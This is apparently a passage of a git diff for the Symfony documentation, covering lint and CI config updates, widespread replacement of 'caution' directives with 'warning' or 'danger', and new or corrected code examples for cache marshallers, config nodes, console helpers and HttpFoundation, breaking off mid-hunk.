 components/property_info.rst                  |   17 +-
 components/runtime.rst                        |    5 +-
 components/serializer.rst                     | 1938 --------------
 components/type_info.rst                      |  136 +-
 components/uid.rst                            |    4 +-
 components/validator/resources.rst            |    2 +-
 components/yaml.rst                           |   10 +
 configuration.rst                             |    8 +-
 configuration/env_var_processors.rst          |    2 +-
 configuration/micro_kernel_trait.rst          |    2 +-
 configuration/multiple_kernels.rst            |    2 +-
 configuration/override_dir_structure.rst      |    2 +-
 console.rst                                   |   10 +-
 console/calling_commands.rst                  |    5 +-
 console/command_in_controller.rst             |    2 +-
 console/commands_as_services.rst              |    4 +-
 console/input.rst                             |    2 +-
 contributing/code/bc.rst                      |    8 +-
 contributing/code/bugs.rst                    |    2 +-
 contributing/code/maintenance.rst             |    3 +
 contributing/documentation/format.rst         |    2 +-
 contributing/documentation/standards.rst      |    2 +-
 controller.rst                                |   32 +-
 controller/error_pages.rst                    |    2 +-
 deployment.rst                                |    2 +-
 deployment/proxies.rst                        |    2 +-
 doctrine.rst                                  |    8 +-
 doctrine/custom_dql_functions.rst             |    2 +-
 doctrine/multiple_entity_managers.rst         |    6 +-
 event_dispatcher.rst                          |   11 +
 form/bootstrap5.rst                           |    6 +-
 form/create_custom_field_type.rst             |    2 +-
 form/data_mappers.rst                         |    4 +-
 form/data_transformers.rst                    |    6 +-
 form/direct_submit.rst                        |    2 +-
 form/events.rst                               |    4 +-
 form/form_collections.rst                     |    6 +-
 form/form_customization.rst                   |    4 +-
 form/form_themes.rst                          |    2 +-
 form/inherit_data_option.rst                  |    2 +-
 form/type_guesser.rst                         |    2 +-
 form/unit_testing.rst                         |    6 +-
 form/without_class.rst                        |    2 +-
 forms.rst                                     |    2 +-
 frontend.rst                                  |   10 +
 frontend/asset_mapper.rst                     |  129 +-
 frontend/encore/installation.rst              |    2 +-
 frontend/encore/simple-example.rst            |    4 +-
 frontend/encore/virtual-machine.rst           |    4 +-
 http_cache/cache_invalidation.rst             |    2 +-
 http_cache/esi.rst                            |    2 +-
 http_cache/varnish.rst                        |   33 +-
 http_client.rst                               |   18 +-
 lock.rst                                      |    2 +-
 logging/channels_handlers.rst                 |    2 +-
 logging/monolog_exclude_http_codes.rst        |    2 +-
 mailer.rst                                    |   62 +-
 mercure.rst                                   |   93 +-
 messenger.rst                                 |   29 +-
 notifier.rst                                  |   85 +-
 profiler.rst                                  |    4 +-
 reference/attributes.rst                      |   12 +-
 reference/configuration/framework.rst         |   11 +-
 reference/configuration/web_profiler.rst      |    2 +-
 reference/constraints/Bic.rst                 |   15 +-
 reference/constraints/Callback.rst            |    8 +-
 reference/constraints/DateTime.rst            |   17 +-
 reference/constraints/EqualTo.rst             |    2 +-
 reference/constraints/File.rst                |    9 +-
 reference/constraints/IdenticalTo.rst         |    2 +-
 reference/constraints/Image.rst               |   20 +
 reference/constraints/MacAddress.rst          |    1 +
 reference/constraints/NotEqualTo.rst          |    2 +-
 reference/constraints/NotIdenticalTo.rst      |    2 +-
 reference/constraints/PasswordStrength.rst    |    6 +-
 reference/constraints/Slug.rst                |  119 +
 reference/constraints/UniqueEntity.rst        |    6 +-
 reference/constraints/_payload-option.rst.inc |    2 -
 reference/constraints/map.rst.inc             |    1 +
 reference/dic_tags.rst                        |    4 +-
 reference/formats/expression_language.rst     |    2 +-
 reference/formats/message_format.rst          |    2 +-
 reference/forms/types/choice.rst              |    2 +-
 reference/forms/types/collection.rst          |    6 +-
 reference/forms/types/country.rst             |    2 +-
 reference/forms/types/currency.rst            |    2 +-
 reference/forms/types/date.rst                |    9 +-
 reference/forms/types/dateinterval.rst        |    4 +-
 reference/forms/types/entity.rst              |    2 +-
 reference/forms/types/language.rst            |    2 +-
 reference/forms/types/locale.rst              |    2 +-
 reference/forms/types/money.rst               |    5 +-
 .../types/options/_date_limitation.rst.inc    |    2 +-
 .../forms/types/options/choice_lazy.rst.inc   |    2 +-
 .../forms/types/options/choice_name.rst.inc   |    2 +-
 reference/forms/types/options/data.rst.inc    |    2 +-
 .../options/empty_data_description.rst.inc    |    2 +-
 .../forms/types/options/inherit_data.rst.inc  |    2 +-
 reference/forms/types/options/value.rst.inc   |    2 +-
 reference/forms/types/password.rst            |    2 +-
 reference/forms/types/textarea.rst            |    2 +-
 reference/forms/types/time.rst                |   10 +-
 reference/forms/types/timezone.rst            |    2 +-
 reference/forms/types/url.rst                 |    7 +
 reference/twig_reference.rst                  |   33 +-
 routing.rst                                   |   78 +-
 scheduler.rst                                 |    8 +
 security.rst                                  |   37 +-
 security/access_control.rst                   |    6 +-
 security/access_token.rst                     |    4 +-
 security/custom_authenticator.rst             |   27 +-
 security/impersonating_user.rst               |    9 +-
 security/ldap.rst                             |    4 +-
 security/login_link.rst                       |    2 +-
 security/passwords.rst                        |    2 +-
 security/remember_me.rst                      |   25 +-
 security/user_providers.rst                   |    2 +-
 security/voters.rst                           |   31 +-
 serializer.rst                                | 2331 ++++++++++++++---
 serializer/custom_context_builders.rst        |    8 +-
 serializer/custom_encoders.rst                |   61 -
 serializer/custom_name_converter.rst          |  112 +
 serializer/custom_normalizer.rst              |   66 +-
 serializer/encoders.rst                       |  373 +++
 service_container.rst                         |    4 +-
 service_container/compiler_passes.rst         |   80 +-
 service_container/definitions.rst             |    4 +-
 service_container/lazy_services.rst           |    2 +-
 service_container/service_decoration.rst      |   76 +-
 .../service_subscribers_locators.rst          |    2 +-
 service_container/tags.rst                    |   17 +-
 session.rst                                   |   26 +-
 setup.rst                                     |    8 +-
 setup/_update_all_packages.rst.inc            |    2 +-
 setup/file_permissions.rst                    |    8 +-
 setup/symfony_server.rst                      |    8 +-
 setup/upgrade_major.rst                       |    2 +-
 setup/web_server_configuration.rst            |  110 +-
 string.rst                                    |   10 +-
 templates.rst                                 |    4 +-
 testing.rst                                   |   16 +-
 testing/end_to_end.rst                        |    2 +-
 testing/insulating_clients.rst                |    2 +-
 translation.rst                               |    8 +-
 validation.rst                                |    2 +-
 validation/custom_constraint.rst              |   41 +
 validation/groups.rst                         |    2 +-
 validation/sequence_provider.rst              |    4 +-
 web_link.rst                                  |   22 +-
 webhook.rst                                   |    7 +-
 workflow.rst                                  |    2 +-
 187 files changed, 4032 insertions(+), 3028 deletions(-)
 rename _images/{components => }/serializer/serializer_workflow.svg (100%)
 rename _images/sources/{components => }/serializer/serializer_workflow.dia (100%)
 delete mode 100644 components/serializer.rst
 create mode 100644 reference/constraints/Slug.rst
 delete mode 100644 serializer/custom_encoders.rst
 create mode 100644 serializer/custom_name_converter.rst
 create mode 100644 serializer/encoders.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5ea86e6abc4..04e720bf653 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -23,6 +23,8 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
+            - directive: '.. caution::'
+              replacements: ['.. warning::', '.. danger::']
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
@@ -46,6 +48,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
@@ -99,7 +102,6 @@ whitelist:
         - '#. The most important config file is ``app/config/services.yml``, which now is'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 2.7.2' # Doctrine
         - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index fcbdbe0477b..061b0bb85b0 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.62.3
+                uses: docker://oskarstark/doctor-rst:1.64.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/_build/redirection_map b/_build/redirection_map
index 115ec75ade2..1701f4a8f70 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -525,8 +525,7 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
-/serializer/normalizers /components/serializer#normalizers
-/components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
+/serializer/normalizers /serializer#serializer-built-in-normalizers
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
 /components/inflector /string#inflector
@@ -572,3 +571,5 @@
 /doctrine/registration_form /security#security-make-registration-form
 /form/form_dependencies /form/create_custom_field_type
 /doctrine/reverse_engineering /doctrine#doctrine-adding-mapping
+/components/serializer /serializer
+/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg
similarity index 100%
rename from _images/components/serializer/serializer_workflow.svg
rename to _images/serializer/serializer_workflow.svg
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia
similarity index 100%
rename from _images/sources/components/serializer/serializer_workflow.dia
rename to _images/sources/serializer/serializer_workflow.dia
diff --git a/bundles.rst b/bundles.rst
index ba3a2209999..878bee3af4a 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -3,7 +3,7 @@
 The Bundle System
 =================
 
-.. caution::
+.. warning::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
     application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
@@ -58,7 +58,7 @@ Start by creating a new class called ``AcmeBlogBundle``::
     {
     }
 
-.. caution::
+.. warning::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -118,7 +118,7 @@ to be adjusted if needed:
 
 .. _bundles-legacy-directory-structure:
 
-.. caution::
+.. warning::
 
     The recommended bundle structure was changed in Symfony 5, read the
     `Symfony 4.4 bundle documentation`_ for information about the old
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 5996bcbe43d..376984388db 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -246,7 +246,7 @@ with Symfony Flex to install a specific Symfony version:
     # recommended to have a better output and faster download time)
     composer update --prefer-dist --no-progress
 
-.. caution::
+.. warning::
 
     If you want to cache your Composer dependencies, **do not** cache the
     ``vendor/`` directory as this has side-effects. Instead cache
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 347f63b7af5..0537eb00c3e 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -200,7 +200,7 @@ Patterns are transformed into the actual class namespaces using the classmap
 generated by Composer. Therefore, before using these patterns, you must generate
 the full classmap executing the ``dump-autoload`` command of Composer.
 
-.. caution::
+.. warning::
 
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
diff --git a/bundles/override.rst b/bundles/override.rst
index 36aea69b231..f25bd785373 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -19,7 +19,7 @@ For example, to override the ``templates/registration/confirmed.html.twig``
 template from the AcmeUserBundle, create this template:
 ``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
-.. caution::
+.. warning::
 
     If you add a template in a new location, you *may* need to clear your
     cache (``php bin/console cache:clear``), even if you are in debug mode.
diff --git a/cache.rst b/cache.rst
index 7264585f233..833e4d77007 100644
--- a/cache.rst
+++ b/cache.rst
@@ -829,7 +829,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
             ->addArgument(new Reference('.inner'));
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 99d76ce5d27..f2e92850cd8 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -5,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly*
 increase an application's performance, as its cache contents are stored in shared
 memory, a component appreciably faster than many others, such as the filesystem.
 
-.. caution::
+.. warning::
 
     **Requirement:** The `APCu extension`_ must be installed and active to use
     this adapter.
@@ -30,7 +30,7 @@ and cache items version string as constructor arguments::
         $version = null
     );
 
-.. caution::
+.. warning::
 
     Use of this adapter is discouraged in write/delete heavy workloads, as these
     operations cause memory fragmentation that results in significantly degraded performance.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index aaf400319f4..29c9e26f83c 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -14,7 +14,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 25640a20b0f..ba78cc46eff 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``3.0`` or
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 26ef48af27c..db877454859 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -33,7 +33,7 @@ and cache root path as constructor parameters::
         $directory = null
     );
 
-.. caution::
+.. warning::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index d68d3e3b9ac..64baf0d4702 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_
     must be installed, active, and running to use this adapter. Version ``2.2`` or
@@ -256,7 +256,7 @@ Available Options
     executed in a "fire-and-forget" manner; no attempt to ensure the operation
     has been received or acted on will be made once the client has executed it.
 
-    .. caution::
+    .. warning::
 
         Not all library operations are tested in this mode. Mixed TCP and UDP
         servers are not allowed.
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index efd2cf0e964..6f171f0fede 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -28,7 +28,7 @@ file similar to the following::
     handles file includes, this adapter has the potential to be much faster than other
     filesystem-based caches.
 
-.. caution::
+.. warning::
 
     While it supports updates and because it is using OPcache as a backend, this adapter is
     better suited for append-mostly needs. Using it in other scenarios might lead to
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 719d6056f19..3362f4cc2db 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -15,7 +15,7 @@ Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and si
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
@@ -38,7 +38,13 @@ as the second and third parameters::
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
-        $defaultLifetime = 0
+        $defaultLifetime = 0,
+
+        // $marshaller (optional) An instance of MarshallerInterface to control the serialization
+        // and deserialization of cache items. By default, native PHP serialization is used.
+        // This can be useful for compressing data, applying custom serialization logic, or
+        // optimizing the size and performance of cached items
+        ?MarshallerInterface $marshaller = null
     );
 
 Configure the Connection
@@ -266,6 +272,80 @@ performance when using tag-based invalidation::
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
+Working with Marshaller
+-----------------------
+
+TagAwareMarshaller for Tag-Based Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Optimizes caching for tag-based retrieval, allowing efficient management of related items::
+
+    $marshaller = new TagAwareMarshaller();
+
+    $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('tagged_key');
+    $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]);
+    $cache->save($item);
+
+SodiumMarshaller for Encrypted Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Encrypts cached data using Sodium for enhanced security::
+
+    $encryptionKeys = [sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($encryptionKeys);
+
+    $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('secure_key');
+    $item->set('confidential_data');
+    $cache->save($item);
+
+DefaultMarshaller with igbinary Serialization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Uses ``igbinary` for faster and more efficient serialization when available::
+
+    $marshaller = new DefaultMarshaller(true);
+
+    $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('optimized_key');
+    $item->set(['data' => 'optimized_data']);
+    $cache->save($item);
+
+DefaultMarshaller with Exception on Failure
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Throws an exception if serialization fails, facilitating error handling::
+
+    $marshaller = new DefaultMarshaller(false, true);
+
+    $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller);
+
+    try {
+        $item = $cache->getItem('error_key');
+        $item->set('data');
+        $cache->save($item);
+    } catch (\ValueError $e) {
+        echo 'Serialization failed: '.$e->getMessage();
+    }
+
+SodiumMarshaller with Key Rotation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Supports key rotation, ensuring secure decryption with both old and new keys::
+
+    $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($keys);
+
+    $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('rotated_key');
+    $item->set('data_to_encrypt');
+    $cache->save($item);
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
diff --git a/components/clock.rst b/components/clock.rst
index cdbbdd56e6b..5b20e6000b9 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -129,18 +129,18 @@ is expired or not, by modifying the clock's time::
             $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
 
             // $validUntil is in the future, so it is not expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
             $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
-            static::assertTrue($expirationChecker->isExpired($validUntil));
+            $this->assertTrue($expirationChecker->isExpired($validUntil));
 
             $clock->modify('2022-11-16 15:00:00');
 
             // $validUntil is in the future again, so it is no longer expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
         }
     }
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 929246fa915..24c142ec5a5 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -83,9 +83,19 @@ reflect the real structure of the configuration values::
             ->scalarNode('default_connection')
                 ->defaultValue('mysql')
             ->end()
+            ->stringNode('username')
+                ->defaultValue('root')
+            ->end()
+            ->stringNode('password')
+                ->defaultValue('root')
+            ->end()
         ->end()
     ;
 
+.. versionadded:: 7.2
+
+    The ``stringNode()`` method was introduced in Symfony 7.2.
+
 The root node itself is an array node, and has children, like the boolean
 node ``auto_connect`` and the scalar node ``default_connection``. In general:
 after defining a node, a call to ``end()`` takes you one step up in the
@@ -100,6 +110,7 @@ node definition. Node types are available for:
 * scalar (generic type that includes booleans, strings, integers, floats
   and ``null``)
 * boolean
+* string
 * integer
 * float
 * enum (similar to scalar, but it only allows a finite set of values)
@@ -109,6 +120,10 @@ node definition. Node types are available for:
 and are created with ``node($name, $type)`` or their associated shortcut
 ``xxxxNode($name)`` method.
 
+.. versionadded:: 7.2
+
+    Support for the ``string`` type was introduced in Symfony 7.2.
+
 Numeric Node Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -670,7 +685,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML.
 For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The
 normalization would make both of these ``auto_connect``.
 
-.. caution::
+.. warning::
 
     The target key will not be altered if it's mixed like
     ``foo-bar_moo`` or if it already exists.
@@ -800,6 +815,7 @@ A validation rule always has an "if" part. You can specify this part in
 the following ways:
 
 - ``ifTrue()``
+- ``ifFalse()``
 - ``ifString()``
 - ``ifNull()``
 - ``ifEmpty()``
@@ -818,6 +834,10 @@ A validation rule also requires a "then" part:
 Usually, "then" is a closure. Its return value will be used as a new value
 for the node, instead of the node's original value.
 
+.. versionadded:: 7.3
+
+    The ``ifFalse()`` method was introduced in Symfony 7.3.
+
 Configuring the Node Path Separator
 -----------------------------------
 
@@ -889,7 +909,7 @@ Otherwise the result is a clean array of configuration values::
         $configs
     );
 
-.. caution::
+.. warning::
 
     When processing the configuration tree, the processor assumes that the top
     level array key (which matches the extension name) is already stripped off.
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index b739e3b39ba..c69995ea395 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -52,7 +52,7 @@ This will print the following to the command line:
 
     Hello World
 
-.. caution::
+.. warning::
 
     This feature has a limitation: you cannot pass any argument or option to
     the default command because they are ignored.
diff --git a/components/console/events.rst b/components/console/events.rst
index f0edf2205ac..e550025b7dd 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -14,7 +14,7 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
     $application->setDispatcher($dispatcher);
     $application->run();
 
-.. caution::
+.. warning::
 
     Console events are only triggered by the main command being executed.
     Commands called by the main command will not trigger any event, unless
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 3cb87c4c307..d2b19915a3a 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -129,10 +129,16 @@ Sometimes you want to format seconds to time. This is possible with the
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    Helper::formatTime(42);        // 42 secs
-    Helper::formatTime(125);       // 2 mins
-    Helper::formatTime(125, 2);    // 2 mins, 5 secs
-    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    Helper::formatTime(0.001);         // 1 ms
+    Helper::formatTime(42);            // 42 s
+    Helper::formatTime(125);           // 2 min
+    Helper::formatTime(125, 2);        // 2 min, 5 s
+    Helper::formatTime(172799, 4);     // 1 d, 23 h, 59 min, 59 s
+    Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms
+
+.. versionadded:: 7.3
+
+    Support for formatting up to milliseconds was introduced in Symfony 7.3.
 
 Formatting Memory
 -----------------
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 4d524a2008e..19e2d0daef5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -323,7 +323,7 @@ to display it can be customized::
     // the bar width
     $progressBar->setBarWidth(50);
 
-.. caution::
+.. warning::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or too slow for your application, use the methods
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e33c4ed5fa7..2670ec3084a 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -329,7 +329,7 @@ convenient for passwords::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     When you ask for a hidden response, Symfony will use either a binary, change
     ``stty`` mode or use another trick to hide the response. If none is available,
@@ -392,7 +392,7 @@ method::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     The normalizer is called first and the returned value is used as the input
     of the validator. If the answer is invalid, don't throw exceptions in the
@@ -540,7 +540,7 @@ This way you can test any user interaction (even complex ones) by passing the ap
     simulates a user hitting ``ENTER`` after each input, no need for passing
     an additional input.
 
-.. caution::
+.. warning::
 
     On Windows systems Symfony uses a special binary to implement hidden
     questions. This means that those questions don't use the default ``Input``
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83cead3d19c..8cd676dd5fe 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -476,11 +476,7 @@ with some other dispatchers:
 Learn More
 ----------
 
-.. toctree::
-    :maxdepth: 1
-
-    /components/event_dispatcher/generic_event
-
+* :doc:`/components/event_dispatcher/generic_event`
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 785beebd9da..b0dd10b0f42 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -106,6 +106,10 @@ if the expression is not valid::
 
     $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
+    $expressionLanguage->lint('1 + a', []);
+    // throws a SyntaxError exception:
+    // "Variable "a" is not valid around position 5 for expression `1 + a`."
+
 The behavior of these methods can be configured with some flags defined in the
 :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
 
@@ -121,8 +125,8 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this returns true because the unknown variables and functions are ignored
-    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+    // does not throw a SyntaxError because the unknown variables and functions are ignored
+    $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1
 
diff --git a/components/finder.rst b/components/finder.rst
index a3b91470b62..cecc597ac64 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -41,7 +41,7 @@ The ``$file`` variable is an instance of
 :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own
 :phpclass:`SplFileInfo` to provide methods to work with relative paths.
 
-.. caution::
+.. warning::
 
     The ``Finder`` object doesn't reset its internal state automatically.
     This means that you need to create a new instance if you do not want
diff --git a/components/form.rst b/components/form.rst
index f463ef5911b..44f407e4c8e 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -644,7 +644,7 @@ method:
 
         // ...
 
-.. caution::
+.. warning::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
     called. Otherwise, when using :doc:`form events </form/events>`, changes done
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 4dcf3b1e4da..8db6cd27f68 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -367,11 +367,13 @@ of the ``anonymize()`` method to specify the number of bytes that should be
 anonymized depending on the IP address format::
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IpUtils::anonymize($ipv4, v4Bytes: 3);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4, 3);
     // $anonymousIpv4 = '123.0.0.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IpUtils::anonymize($ipv6, v6Bytes: 10);
+    // (you must define the second argument (bytes to anonymize in IPv4 addresses)
+    // even when you are only anonymizing IPv6 addresses)
+    $anonymousIpv6 = IpUtils::anonymize($ipv6, 3, 10);
     // $anonymousIpv6 = '2a01:198:603::'
 
 .. versionadded:: 7.2
@@ -679,8 +681,19 @@ Streaming a Response
 ~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\HttpFoundation\\StreamedResponse` class allows
-you to stream the Response back to the client. The response content is
-represented by a PHP callable instead of a string::
+you to stream the Response back to the client. The response content can be
+represented by a string iterable::
+
+    use Symfony\Component\HttpFoundation\StreamedResponse;
+
+    $chunks = ['Hello', ' World'];
+
+    $response = new StreamedResponse();
